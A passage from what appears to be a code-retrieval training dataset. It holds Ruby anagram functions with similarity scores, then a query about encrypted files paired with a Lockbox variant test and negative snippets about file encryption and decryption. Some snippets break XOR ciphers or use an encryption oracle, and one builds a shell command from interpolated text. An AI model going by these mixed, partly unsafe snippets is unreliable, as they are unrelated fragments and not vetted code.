"def combine_anagrams(words)\r\n words.sort!{|a, b| a.length <=> b.length}\r\n letters = words.map{|w| w.downcase.split(//).sort}\r\n outp = Array.new \r\n prev_a = []\r\n for w in words\r\n if letters[words.index(w)] == prev_a\r\n outp[outp.length - 1].push(w)\r\n else\r\n outp.push([w])\r\n prev_a = letters[words.index(w)]\r\n end\r\n end\r\n return outp\r\nend",
"def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend",
"def anagrams_v_one(str1,str2)\r\n\r\n # elvis\r\n # levis\r\n # lives\r\n # lsevi\r\n anagrams = []\r\n count = 0\r\n until count == 120 #5*4*3*2*1 = 120 \r\n shuffled = str1.chars.shuffle\r\n if !anagrams.include?(shuffled)\r\n anagrams << shuffled\r\n count +=1 \r\n end\r\n end\r\n anagrams.include?(str2.chars)\r\n # anagrams\r\nend",
"def panagram?(string)\n \n \n #array a-z \n \n #split string, do .uniq \n \n #reject all punctuation and spaces \n\n #compare with a-z \n \n alphabet = [* \"a\"..\"z\"] \n\n \n if alphabet == string.downcase.gsub(/[^a-z\"\"]/, \"\").split(//).uniq.sort \n return true \n else \n return false \n end\n \n \n\nend",
"def anagrams(word)\n dictionary = File.readlines(Dir.pwd << \"/enable.txt\").map { |word| word.chomp }\n anagrams = []\n\n word = word.split(\"\")\n word.permutation.to_a.each do |possible_perm|\n anagrams << possible_perm.join.upcase if dictionary.include?(possible_perm.join)\n end\n anagrams\nend",
"def anagram?(s1,s2)\n\ts1.chars.sort == s2.chars.sort\nend",
"def fourth_anagram(str1, str2) \n str1_hash = Hash.new(0)\n str2_hash = Hash.new(0)\n\n str1.each_char { |char| str1_hash[char] += 1 }\n str2.each_char { |char| str2_hash[char] += 1 }\n\n str1_hash == str2_hash \nend",
"def fourth_anagram(word1, word2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n word1.each_char { |char| hash1[char] += 1 }\n word2.each_char { |char| hash2[char] += 1 }\n\n hash1 == hash2\nend",
"def anagram3(str1, str2)\n str1 = str1.downcase.chars.sort.join\n str2 = str2.downcase.chars.sort.join\n\n return str1 == str2\nend",
"def anagram?(a, b)\n return false unless a.length == b.length\n a.chars.sort == b.chars.sort\nend",
"def anagram?(x, y)\n x.chars.sort == y.chars.sort\nend",
"def panagram?(string)\nend",
"def fifth_anagram?(str1, str2)\n\n char_hash = Hash.new(0)\n (0...str1.length).each do |idx|\n char1 = str1[idx]\n char2 = str2[idx]\n\n char_hash[char1] += 1\n char_hash[char2] -= 1\n end\n\n char_hash.values.all?(&:zero?)\n\nend",
"def is_anagram(s, t)\n\n return s.split(\"\").sort == t.split(\"\").sort\n\nend",
"def first_anagram?(str1, str2)\r\n anagram_helper(str1).include?(str2) \r\n\r\nend",
"def fourth_anagram(str1, str2)\n hash = Hash.new(0)\n\n str1.size.times do |idx|\n hash[str1[idx]] += 1\n hash[str2[idx]] -= 1\n end\n\n hash.values.all?(&:zero?)\nend",
"def makeAnagram(a, b)\n hash_map = Hash.new(0)\n p hash_map \nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n\n first_word.chars.each { |char| first_hash[char] += 1 }\n second_word.chars.each { |char| second_hash[char] += 1 }\n\n first_hash == second_hash\nend",
"def anagram(s)\n firstSubString=s[0...s.length/2]\n secondSubString=s[s.length/2..s.length].split('')\n \n \n if s.length.odd?\n return -1\n else \n firstSubString.each_char do |char1|\n secondSubString.each_with_index do |char2,ids|\n if char1==char2\n secondSubString.delete_at(ids)\n break\n end\n end\n end\n return secondSubString.length \n end\nend",
"def second_anagram?(word1, word2)\n w1_copy = word1.dup\n w2_copy = word2.dup\n w1_copy.each_char do |ch1|\n w2_copy.each_char do |ch2|\n if ch1 == ch2\n w1_copy[w1_copy.index(ch1)] = \"\"\n w2_copy[w2_copy.index(ch2)] = \"\"\n end\n end\n end\n w1_copy.empty? && w2_copy.empty?\nend",
"def fourth_anagram(str_1,str_2)\n hash1 = Hash.new(0)\n hash2 = Hash.new(0)\n\n str_1.each_char do |char|\n hash1[char]+=1\n end\n\n str_2.each_char do |char|\n hash2[char]+=1\n end\n\n hash1==hash2\nend",
"def anagrams(word1, word2)\n length = word1.length\n if word1.length == word2.length\n array = []\n while length>=0\n array.push(word1[length-1])\n length -= 1\n end\n length2 = word2.length\n while length2 >= 0\n if array.include?(word2[length2 - 1])\n length2 -= 1\n else\n return false\n end\n end\n return true\n else\n return false\n end\nend",
"def fourth_anagram?(str1,str2)\n h1 = make_hash(str1) #n\n h2 = make_hash(str2) #n \n h1 == h2\nend",
"def combine_anagrams(words)\r\n\tanagrams = words.group_by { |word| word.chars.sort }.values\t\r\nend",
"def first_anagram?(str1, str2)\n anagrams = str1.split(\"\").permutation.to_a \n anagrams.include?(str2.split(\"\"))\nend",
"def is_anagram(s, t)\n s = s.chars\n t = t.chars\n\n return false if s.count != t.count\n\n hash1 = {}\n s.each do |value|\n hash1[value] = if hash1[value]\n hash1[value] + 1\n else\n 1\n end\n end\n\n hash2 = {}\n t.each do |value|\n hash2[value] = if hash2[value]\n hash2[value] + 1\n else\n 1\n end\n end\n\n hash1.keys.each do |key|\n return false if hash2[key] != hash1[key]\n end\n\n true\nend",
"def match(possible_anagrams)\n anagrams = []\n possible_anagrams.each do |possible_anagram|\n if possible_anagram.split(\"\").sort == @word.split(\"\").sort\n anagrams << possible_anagram\n end\n end\n anagrams\nend",
"def making_anagrams(string1, string2)\n matching_chars = 0\n visited_chars = Hash.new\n \n longest_string = string1.length > string2.length ? string1 : string2\n \n longest_string.each_char do |ch|\n if visited_chars[ch]\n next\n else\n visited_chars[ch] = true\n matching_chars += [string1.count(ch), string2.count(ch)].min\n end\n end\n \n string1.length + string2.length - matching_chars * 2\nend",
"def fourth_anagram?(string, strong)\n s_hash = Hash.new(0)\n ss_hash = Hash.new(0)\n string.chars.each do |el|\n s_hash[el] += 1\n end\n strong.chars.each do |el|\n ss_hash[el] += 1\n end\n s_hash.to_a.sort == ss_hash.to_a.sort\nend",
"def anagrams(string, array)\n string_anagram = string.chars\n \n array.select! do |word|\n word.chars.all? do |letter|\n word.chars.count(letter) == string_anagram.count(letter)\n end\n end\n array\nend"
] |
[
"0.8006553",
"0.75655043",
"0.7468529",
"0.74314684",
"0.7403261",
"0.7390342",
"0.7306981",
"0.72848207",
"0.72834307",
"0.728311",
"0.72682965",
"0.72609633",
"0.725796",
"0.7257263",
"0.72457916",
"0.7239651",
"0.72140956",
"0.72008026",
"0.71833676",
"0.7176667",
"0.7133292",
"0.71151733",
"0.7111102",
"0.7073351",
"0.7073133",
"0.706647",
"0.7043738",
"0.7040122",
"0.70341575",
"0.7028817",
"0.70266896",
"0.70183676",
"0.70087254",
"0.700181",
"0.69970304",
"0.6991853",
"0.698513",
"0.6984339",
"0.6981184",
"0.69704163",
"0.6952216",
"0.6950786",
"0.693925",
"0.6927911",
"0.6906614",
"0.6896895",
"0.68961024",
"0.6895448",
"0.6895098",
"0.68942946",
"0.68938565",
"0.68883246",
"0.68882203",
"0.68836844",
"0.6881904",
"0.6881801",
"0.6880119",
"0.6879192",
"0.68775004",
"0.68742096",
"0.6865368",
"0.68636954",
"0.68636954",
"0.68602014",
"0.6855797",
"0.6852675",
"0.682984",
"0.6829672",
"0.682214",
"0.68158245",
"0.68155277",
"0.6815222",
"0.68145716",
"0.68145716",
"0.68069875",
"0.68005866",
"0.67919594",
"0.6790453",
"0.6788043",
"0.6787048",
"0.67800456",
"0.67798245",
"0.6779202",
"0.677677",
"0.67762345",
"0.67735916",
"0.6770477",
"0.6765797",
"0.67607814",
"0.67601305",
"0.67598957",
"0.675543",
"0.675481",
"0.6752677",
"0.67470473",
"0.6746813",
"0.6746661",
"0.6744981",
"0.67431337",
"0.6741713",
"0.67297775"
] |
0.0
|
-1
|
not yet supported tries to transform the encrypted file
|
def test_encrypt_variant
path = "test/support/image.png"
User.create!(avatar: {io: File.open(path), filename: "image.png", content_type: "image/png"})
user = User.last
error = assert_raises(Lockbox::Error) do
user.avatar.variant(resize: "500x500").processed
end
assert_equal "Variant not supported for encrypted files", error.message
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _encrypt\n cryptor_files(@encrypting)\n end",
"def encrypt_file(filename)\n #open the file by passing it the name and ..\n input = File.open(filename, 'r')\n #this is a string now so\n contents = input.read\n encrypted_contents = encrypt_string(contents)\n input.close\n output = File.open(filename + '.encrypted', 'w')\n output.write(encrypted_contents)\n output.close\n\n end",
"def decrypt_files\n not_implemented(__method__)\n end",
"def rotate_encryption!\n io = Lockbox::IO.new(read)\n io.original_filename = file.filename\n previous_value = enable_processing\n begin\n self.enable_processing = false\n store!(io)\n ensure\n self.enable_processing = previous_value\n end\n end",
"def encrypt_file(filename, rotation)\n \t# 1. Create the file handle to the input file\n \t\tinput = File.open(filename, \"r\")\n \t# 2. Read the text of the input file\n \t\tinput_string = input.read\n \t# 3. Encrypt the text\n \t\tencrypted_string = encrypt(input_string, rotation)\n \t# 4. Create a name for the output file\n \t\toutput_file = filename + \".encrypted\"\n \t# 5. Create an output file handle\n \t\tout = File.open(output_file, \"w\")\n \t# 6. Write out the text\n \t\tout.write(encrypted_string)\n \t# 7. Close the file\n \t\tout.close\n \tend",
"def decrypt; end",
"def encryptFile(fileIn,conf)\n\nsalt_len = 8\nbuf=''\npassword = conf[:passphrase]\ncipher = 'aes-128-cbc'\nputs aktTime()+' encrypting archive...'\nSTDOUT.flush #write out immediately\nsalt= OpenSSL::Random::pseudo_bytes(salt_len)\n\nc = OpenSSL::Cipher::Cipher.new(cipher)\nc.encrypt\n#generate key + IV from given password\nc.pkcs5_keyivgen(password, salt, 1)\nFile.open(CRYPT_TMP,'wb') do |fo|\n \n fo.write(MAGIC) #write magic string \n fo.write(salt) #write 8 bytes random salt\n File.open(fileIn,'rb') do |fi|\n while fi.read(4096,buf) \n fo.write c.update(buf)\n end\n fo.write( c.final)\n end\nend\n\n#overwrite archive with crypted archive\nputs aktTime()+' archive encrypted '\nFile.rename(CRYPT_TMP,fileIn)\nend",
"def signed_or_encrypted; end",
"def unencrypted_path\n yield SafeFile.safepath_to_string(@filename)\n end",
"def encrypt_and_return_object_content(public_key_file, content)\r\n public_key = OpenSSL::PKey::RSA.new(File.read(public_key_file))\r\n Base64.encode64(public_key.public_encrypt(content))\r\nend",
"def encrypt; end",
"def challenge7(file, key)\n CryptUtil.aes_128_ecb(Utils::Base64.decode(file.read), key, :decrypt)\n end",
"def encrypt(filename, key)\r\n\t\r\n\t_original = File.open(filename, \"r\")\r\n\t_encrypted = File.open(\"encrypted.txt\", \"w+\")\r\n\t\r\n\t# initialize the keyword as an encryption key\r\n\t_key = EncryptionKey.new(key)\r\n\t\r\n\tlinecount = 1\r\n\t\r\n\t# loop through each line, and then each character, modifying it by the current key value\r\n\t# then write the modified character to the output file\r\n\t_original.each do |line|\r\n\t\tcharcount = 1\r\n\t\tline.split(\"\").each do |originalChar|\r\n\t\t\t\r\n\t\t\ttemp = originalChar.ord\r\n\t\t\ttemp = (temp + _key.nextModVal()) % 256\t\t\t\r\n\t\t\tencryptedChar = temp.chr\r\n\t\t\t_encrypted << encryptedChar\r\n\t\t\tcharcount += 1\r\n\t\tend\r\n\t\tlinecount += 1\r\n\tend\r\n\t\r\nend",
"def encrypt_to(filename)\n self.opts.merge!({output: filename})\n encrypt\n end",
"def decrypt_to(filename)\n self.opts.merge!({output: filename})\n decrypt\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def read\n r = super\n lockbox_notify(\"decrypt_file\") { lockbox.decrypt(r) } if r\n end",
"def initialize(file_name, stream = T.unsafe(nil), encrypter = T.unsafe(nil)); end",
"def encrypted?\n\t\tFile.exists?(File.join(self.location, \"encrypted\"))\n\tend",
"def encrypt_file(filename, key)\n File.open(filename) do |file|\n data = file.read\n encrypted64 = hex_to_base64(repeat_key_xor(data, key))\n\n File.open(\"encrypted64_\" + filename, \"w\") do |out_file|\n out_file.write(encrypted64)\n end\n end\nend",
"def encrypt_file(path, password = nil)\n salt = random_bytes(@salt_len)\n iv = random_bytes(@salt_len)\n aes_key, mac_key = keys(salt, password)\n\n cipher = cipher(aes_key, iv)\n hmac = OpenSSL::HMAC.new(mac_key, OpenSSL::Digest::SHA256.new)\n new_path = path + '.enc'\n\n File.open(new_path, 'wb') do |out_file|\n out_file.syswrite salt\n out_file.syswrite iv\n hmac.update iv\n\n file_chunks(path).each do |chunk|\n encrypted = cipher.update(chunk)\n hmac.update encrypted\n out_file.syswrite encrypted\n end\n encrypted = cipher.final\n\n hmac.update encrypted\n out_file.syswrite encrypted\n out_file.syswrite hmac.digest\n end\n new_path\n rescue TypeError, ArgumentError, SystemCallError, IOError => e\n error_handler e\n end",
"def encrypted_package\n @ms_off_crypto.encrypted_package\n end",
"def uncrypt file, data, part\n cypher = WodaCrypt.new\n cypher.decrypt\n cypher.key = file.content.crypt_key.from_hex\n cypher.iv = WodaHash.digest(part.to_s)\n cypher.update(data) + cypher.final\n end",
"def encryption_oracle\n # From an early-on AES-128-ECB exercise. 'YELLOW SUBMARINE' is the 128-bit key.\n ciphertext = URL::decode64('http://cryptopals.com/static/challenge-data/25.txt')\n plaintext = AES_128.decrypt(ciphertext, 'YELLOW SUBMARINE', :mode => :ECB)\n\n AES_128.encrypt(plaintext, AES_KEY, :mode => :CTR)\nend",
"def file2string filename\n string = FileOps::load filename\n if FileOps::encrypted? filename then\n password = Cipher::ask_password\n string = Cipher::decrypt string, password\n end\n [string, password]\n end",
"def decrypt(filename, key)\r\n\t\r\n\t_decrypted = File.open(\"decrypted.txt\", \"w+\")\r\n\t_encrypted = File.open(filename, \"r\")\r\n\t\r\n\t# initialize the keyword as an encryption key\r\n\t_key = EncryptionKey.new(key)\r\n\t\r\n\t\r\n\t# loop through each line, and then each character, modifying it by the current key value\r\n\t# then write the modified character to the output file\t\r\n\t_encrypted.each do |line|\r\n\t\tline.split(\"\").each do |encryptedChar|\r\n\t\t\ttemp = encryptedChar.ord\r\n\t\t\ttemp = temp - _key.nextModVal()\r\n\t\t\t\r\n\t\t\tif temp < 0\r\n\t\t\t\ttemp = temp + 256\r\n\t\t\tend\r\n\t\t\tdecryptedChar = temp.chr\r\n\t\t\t_decrypted << decryptedChar\r\n\t\tend\r\n\tend\r\n\t\r\nend",
"def decrypt\n self\n end",
"def test_crypted\n mail = Notifier.fufu_crypted(\"<destination@foobar.com>\", \"<demo@foobar.com>\")\n\n assert_equal mail.delivery_method.settings[:address], 'smtp.com'\n assert_equal mail.from, [ \"demo@foobar.com\" ]\n\n assert_match /application\\/x-pkcs7-mime/, mail.content_type\n\n require 'tempfile'\n\n tf = Tempfile.new('actionmailer_x509')\n tf.write mail.encoded\n tf.flush\n\n comm = \"openssl smime -decrypt -in #{tf.path} -recip #{File.dirname(__FILE__)}/../lib/certs/server.crt -inkey #{File.dirname(__FILE__)}/../lib/certs/server.key -passin pass:demo 2>&1\"\n\n success = false\n output = IO.popen(comm)\n while output.gets do\n if $_ =~ /^This is the 3rd line, to make sure.../\n #unless $_ =~ /^Error reading S\\/MIME message/\n success = true\n end\n end\n assert_equal(success, true)\n end",
"def update (data)\n cipher = new_encryption_cipher\n encrypted_file_content = cipher.update(data.to_yaml) + cipher.final\n\n File.open(vault_path, 'wb') { |f| f.write(encrypted_file_content) }\n FileUtils.chmod(0600, vault_path)\n end",
"def read_safe\n pwdata_enc_base64 = File.read(@pwfile)\n pwdata_encrypted = pwdata_enc_base64.unpack('m')[0] # fix for Ruby 1.9 also works with 1.8\n # was: unpack('m*').to_s\n # the cryptographic initialization vector is the first 32 chars of the unpacked string\n Encryptor.iv = pwdata_encrypted[0...32]\n pwdata_encrypted = pwdata_encrypted[32..-1]\n @pwdata = Encryptor.decrypt(pwdata_encrypted, @pwhash)\n end",
"def encrypt_to_file(string, secure)\n secure.open('wb') { |s| basic_encrypt(StringIO.new(string), s) }\n end",
"def decrypt_from_file(secure)\n secure.open('rb') { |s| basic_decrypt(StringIO.new, s).string }\n end",
"def encrypt(file)\n unless EncryptFileW(string_check(file).wincode)\n raise SystemCallError.new(\"EncryptFile\", FFI.errno)\n end\n self\n end",
"def transcode!(file)\n optimize = transloadit_client.step('image', '/image/optimize', {\n progressive: true,\n use: ':original',\n result: true\n })\n store = transloadit_client.step('store', '/s3/store', {\n key: ENV.fetch('S3_ACCESS_KEY'),\n secret: ENV.fetch('S3_SECRET_KEY'),\n bucket: ENV.fetch('S3_BUCKET'),\n bucket_region: ENV.fetch('S3_REGION'),\n use: 'image'\n })\n assembly = transloadit_client.assembly(steps: [optimize, store])\n assembly.submit! open(file)\n end",
"def authenticated_decrypter(context, cipher)\n if RUBY_VERSION.match(/1.9/)\n raise \"authenticated decryption not supported by OpeenSSL in Ruby version ~> 1.9\"\n raise Aws::Errors::NonSupportedRubyVersionError, msg\n end\n http_resp = context.http_response\n content_length = http_resp.headers['content-length'].to_i\n auth_tag_length = http_resp.headers['x-amz-meta-x-amz-tag-len']\n auth_tag_length = auth_tag_length.to_i / 8\n\n auth_tag = context.client.get_object(\n bucket: context.params[:bucket],\n key: context.params[:key],\n range: \"bytes=-#{auth_tag_length}\"\n ).body.read\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = ''\n\n # The encrypted object contains both the cipher text\n # plus a trailing auth tag. This decrypter will the body\n # expect for the trailing auth tag.\n IOAuthDecrypter.new(\n io: http_resp.body,\n encrypted_content_length: content_length - auth_tag_length,\n cipher: cipher)\n end",
"def transform_files\n extract\n reorder_files\n transform @attendance_file, 'att' unless @attendance_file.blank?\n transform @enroll_file, 'enroll' unless @enroll_file.blank?\n transform @ili_file, 'ili' unless @ili_file.blank?\n end",
"def perform_enrollment_transform file_path\n IO.foreach(file_path, sep_string = get_sep_string(file_path)) do |line|\n tmp_line = line.split(@delimiter)\n if tmp_line.length < 4\n transform_enrollment_file\n break\n elsif transform_enrollment_file?\n transform_enrollment_file\n break\n end\n end\n end",
"def read_encrypted_secrets=(_arg0); end",
"def read_encrypted_secrets=(_arg0); end",
"def decrypt(provider)\n raise Yasst::Error::AlreadyDecrypted,\n 'File is already decrypted' unless encrypted?\n @encrypted = false\n replace(provider.decrypt(to_s))\n end",
"def transform(file, format:); end",
"def decrypt\n self\n end",
"def encrypt\n self\n end",
"def decrypted_path\n file_string = decrypted_file_string(@filename, @options['file_password'])\n Tempfile.create(['decrypted', '.docx'], encoding: file_string.encoding) do |file|\n file.write(file_string)\n file.close\n\n yield file.path\n end\n end",
"def read_encrypted_secrets; end",
"def read_encrypted_secrets; end",
"def set_encrypted_file\n @encrypted_file = EncryptedFile.find(params[:id])\n end",
"def decrypt_file(path, password = nil)\n in_file = File.new(path, 'rb')\n\n salt = in_file.sysread(@salt_len)\n iv = in_file.sysread(@iv_len)\n in_file.seek(-@mac_len, IO::SEEK_END)\n mac = in_file.sysread(@mac_len)\n\n in_file.close\n\n aes_key, mac_key = keys(salt, password)\n verify_file(path, mac, mac_key)\n\n cipher = cipher(aes_key, iv, false)\n chunks = file_chunks(path, @salt_len + @iv_len, @mac_len)\n new_path = path.gsub(/\\.enc$/, '.dec')\n\n File.open(new_path, 'wb') do |out_file|\n chunks.each do |chunk| \n out_file.syswrite cipher.update(chunk)\n end\n out_file.syswrite cipher.final\n end\n new_path\n rescue TypeError, ArgumentError, NoMethodError => e\n error_handler e\n rescue SystemCallError, IOError, OpenSSL::OpenSSLError => e\n error_handler e\n end",
"def encrypted_file_params\n params.require(:encrypted_file).permit(:myfile)\n end",
"def transform(direction)\n text_letters = @text.split ''\n key_letters = @key.split ''\n transformed = []\n case direction\n when :encode\n text_letters.each_with_index do |letter, i|\n index1 = @letter_indices.fetch(key_letters.fetch(i))\n index2 = @letter_indices.fetch(letter)\n transformed.push @table.fetch(index1).fetch(index2)\n end\n @plain_text = @text\n @cipher_text = add_spaces(transformed.join(''), @chars_per_group)\n @text = normalize_text @cipher_text\n return @cipher_text\n when :decode\n text_letters.each_with_index do |letter, i|\n index = @letter_indices.fetch(letter) - @letter_indices.fetch(key_letters.fetch(i))\n transformed.push @table[0].fetch(index)\n end\n @plain_text = add_spaces(transformed.join(''), @chars_per_group)\n @cipher_text = self.text\n @text = normalize_text @plain_text\n return @plain_text\n else\n raise ArgumentError, \"direction must be either :encode or :decode\"\n end\n end",
"def cipher; end",
"def raw_encode()\n return Base64.encode64(File.read @file_path).delete(\"\\n\") if RUBY_VERSION < \"1.9.0\"\n Base64.strict_encode64(File.read @file_path)\n end",
"def test_encrypt_preview\n path = \"test/support/doc.pdf\"\n User.create!(avatar: {io: File.open(path), filename: \"doc.pdf\", content_type: \"application/pdf\"})\n\n user = User.last\n error = assert_raises(Lockbox::Error) do\n user.avatar.preview(resize: \"500x500\").processed.blob.download\n end\n assert_equal \"Preview not supported for encrypted files\", error.message\n end",
"def encryptor(io, password, &b)\n Encrypt.open(io, password, mtime, &b)\n end",
"def test_it_can_cipher_a_file\n file = File.open(\"input.txt\", \"w\")\n file.write(\"I am in a file\")\n file.close\n assert_equal \"F xj fk x cfib\", @caesar.from_file(\"input.txt\")\nend",
"def decode_file\n # Open 'encoded' to read from\n File.open(\"encoded_#{original_datei}\",'r') { |fr|\n # Open 'decoded' to write to\n File.open(\"decoded_#{original_datei}\",'w') { |fw|\n fr.each_byte { |byte|\n # \"decode\" each byte and write to 'decoded'\n fw << encode(byte, -schluessel).chr\n }\n }\n }\n\n end",
"def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == \"\"\n raise(\"input file not specified\")\n end \n \n if output_filename == \"\"\n raise(\"output file not specified\")\n end\n \n if output_format == \"\"\n raise(\"output format not specified\")\n end\n \n str_uri = $productURI + \"/words/convert?format=\" + output_format\n str_signed_uri = Common::Utils.sign(str_uri)\n \n response_stream = Common::Utils.uploadFileBinary(input_file, str_signed_uri) \n \n valid_output = Common::Utils.validate_output(response_stream)\n \n if valid_output == \"\"\n \n if output_format == \"html\"\n saveformat = \"zip\"\n else\n saveformat = output_format\n end\n \n if output_filename == \"\"\n output_filename = Utils::get_filename(input_file) + \".\" + saveformat\n end\n \n output_path = $OutPutLocation + output_filename\n Common::Utils.saveFile(response_stream,output_path)\n return \"\"\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def run_me\r\n key_strings = create_public_private_rsa_key_pair_strings\r\n public_key_string = key_strings['public_key_string']\r\n public_key_file = 'my-public-key.pem'\r\n private_key_string = key_strings['private_key_string']\r\n private_key_file = 'my-private-key.pem'\r\n content_to_encrypt = 'Hello, World!'\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n unless public_private_rsa_key_pair_files_created?(\r\n public_key_string,\r\n public_key_file,\r\n private_key_string,\r\n private_key_file\r\n )\r\n puts 'Program will stop.'\r\n exit 1\r\n end\r\n\r\n encrypted_content = encrypt_and_return_object_content(\r\n public_key_file,\r\n content_to_encrypt\r\n )\r\n puts \"Encrypted representation of '#{content_to_encrypt}' is:\"\r\n puts encrypted_content\r\n\r\n if encrypted_object_uploaded?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n encrypted_content\r\n )\r\n puts 'Uploaded.'\r\n else\r\n puts 'Not uploaded.'\r\n end\r\nend",
"def encode_string_as_password_protected_old_zip_based(encryptable_portion, pass = nil)\n pish = @password \n pish = pass unless pass.nil?\n \n supress_errors = \"2>/dev/null\"\n # this will read that file... let's try passing it in from stdin pipes though\n # alt = \"zip -P '#{pish}' - #{@@clear_text_path}\"\n \n # TODu: escape single quotes or this command breaks... \n raise \"tried to encrypt an encryptable_portion which contained illegal character ' which would break the command being piped to zip\" if encryptable_portion =~ /\\'/ \n # passing in clear_text through pipes\n alt = \"echo '#{encryptable_portion}'| zip -P '#{pish}' - - #{supress_errors}\"\n #alt = \"echo '#{encryptable_portion.gsub(\"\\\\n\", \"\")}'| zip -P '#{pish}' - -\"\n\n binary_output = `#{alt}`\n end",
"def encript(text_to_encript)\n require 'base64'\n Base64.encode64(text_to_encript)\n\nend",
"def can_decrypt?\n false\n end",
"def encrypt\n self\n end",
"def encrypt(value,key,context)\n cyphertext = @vault.logical.write(\"transit/encrypt/#{key}\", plaintext: Base64.encode64(value).gsub('\\n',''), context: Base64.encode64(context).gsub('\\n',''))\n return cyphertext.data[:ciphertext]\n end",
"def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == ''\n raise('input file not specified')\n end \n \n if output_filename == ''\n raise('output file not specified')\n end\n \n if output_format == ''\n raise('output format not specified')\n end\n \n if not File.exist?(input_file)\n raise(\"input file doesn't exist.\")\n end\n \n \n \n str_uri = $product_uri + '/pdf/convert?format=' + output_format\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = Aspose::Cloud::Common::Utils.upload_file_binary(input_file, str_signed_uri) \n \n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n \n if valid_output == ''\n \n if output_format == 'html'\n save_format = 'zip'\n else\n save_format = output_format\n end\n \n if output_filename == ''\n output_filename = Utils::get_filename(input_file) + '.' + save_format\n end\n \n output_path = $out_put_location + output_filename\n Aspose::Cloud::Common::Utils.save_file(response_stream,output_path)\n return ''\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def validate\n encrypt\n end",
"def encrypt(data)\n\t\t# The limit of the encryption scheme is 235 bytes, so if the string is longer than that we need to limit it\n\t\tif data.length > 234\n\t\t\tdata = data[0..234] + \"\\n\"\n\t\tend\n\n\t\tkey = OpenSSL::PKey::RSA.new File.read '../keys/attacker.pub'\n\t\treturn key.public_key.public_encrypt(data)\n\tend",
"def fix_exif_rotation\n manipulate! do |img|\n img.auto_orient\n img = yield(img) if block_given?\n img\n end\n end",
"def lookForXOR(fileName)\n cryptoLines = IO.readlines(fileName)\n \n cryptoLines.each do |c|\n breakXORCipher c.strip\n end\nend",
"def fix_exif_rotation\n manipulate! do |img|\n img.auto_orient\n img = yield(img) if block_given?\n img\n end\n end",
"def decrypt\n unless @encrypted_data.blank?\n plaintext_data\n end\n end",
"def logrotated?(file)\n end",
"def child_get_string_encrypted(name, key = nil)\n if (key == nil)\n key = DEFAULT_KEY\n end\n if (key.length != 16)\n abort(\"Invalid key, key length sholud be 16\")\n end\n value = child_get_string(name)\n value_array = value.lines.to_a\n plaintext = RC4(key, value_array.pack('H*'))\n plaintext\n end",
"def encode_file\n # open 'orginal' to read from\n # fr = File.open(\"#{original_datei}\", 'r') dann muss die Datei explizit geschlossen werden\n File.open(\"#{original_datei}\", 'r') {|fr|\n # create 'encoded' to write to\n File.open(\"encoded_#{original_datei}\",'w') { |fw|\n # encode each letter and then write to 'encoded'\n fr.each_byte{|byte|\n fw << encode(byte).chr\n }\n }\n }\n end",
"def fix_exif_rotation\n manipulate! do |img|\n img.auto_orient\n img = yield(img) if block_given?\n img\n end\n end",
"def encryption_required?\n super\n end",
"def fix_exif_rotation\n return unless self.file.content_type.start_with? 'image'\n \n manipulate! do |img|\n img.tap(&:auto_orient)\n img = yield(img) if block_given?\n img\n end\n end",
"def output \n\tFile.open(\"#{@file_out}\", \"w+\") do |f|\n\t f.puts \"#{@encrypted_text}\"\n\tend \nend",
"def decrypted_file_string(path, password)\n # Ensure password is a binary representation of a UTF-16LE string\n # e.g. 'password' should be represented as \"p\\0\\a\\s\\0[...]\"\n password = password.encode('utf-16le').bytes.pack('c*').encode('binary')\n\n OoxmlDecrypt::EncryptedFile.decrypt(SafeFile.safepath_to_string(path), password)\n end",
"def encrypt_to_file(file_path, value, encode_base64=true)\r\n\r\n # encrypt value.\r\n enc_value = encrypt(value, encode_base64)\r\n\r\n # save file.\r\n File.write(file_path, enc_value)\r\n enc_value\r\n end",
"def upload_file_encrypted_aes256_at_rest?(\n s3_client,\n bucket_name,\n object_key,\n object_content\n)\n s3_client.put_object(\n bucket: bucket_name,\n key: object_key,\n body: object_content,\n server_side_encryption: 'AES256'\n )\n return true\nrescue StandardError => e\n puts \"Error uploading object: #{e.message}\"\n return false\nend",
"def decrypt_file(keyphrase)\n # Open input file\n file_in_handle = open_in_file @file_in_path\n file_in_handle.seek FILE_HEADER_BYTES\n\n # Convert key in binary\n keyphrase_bin = [keyphrase].pack('H*')\n crypto = Mcrypt.new(:'blowfish-compat', :ecb, keyphrase_bin)\n\n # Open output file and begin with decryption\n file_out_handle = open_out_file @file_out_path\n begin\n while (data = file_in_handle.readpartial(BUFFER_SIZE))\n if data.length < BUFFER_SIZE\n # End of data\n # Write decrypted blocks\n last_block_size = data.length - (data.length % 8)\n file_out_handle.write(crypto.decrypt(data[0...last_block_size]))\n # Write padding unencrypted\n file_out_handle.write(data[last_block_size..-1])\n else\n # Full block read\n file_out_handle.write(crypto.decrypt(data))\n end\n end\n rescue EOFError\n # Okay, read to the end\n ensure\n file_in_handle.close\n file_out_handle.close\n end\n end",
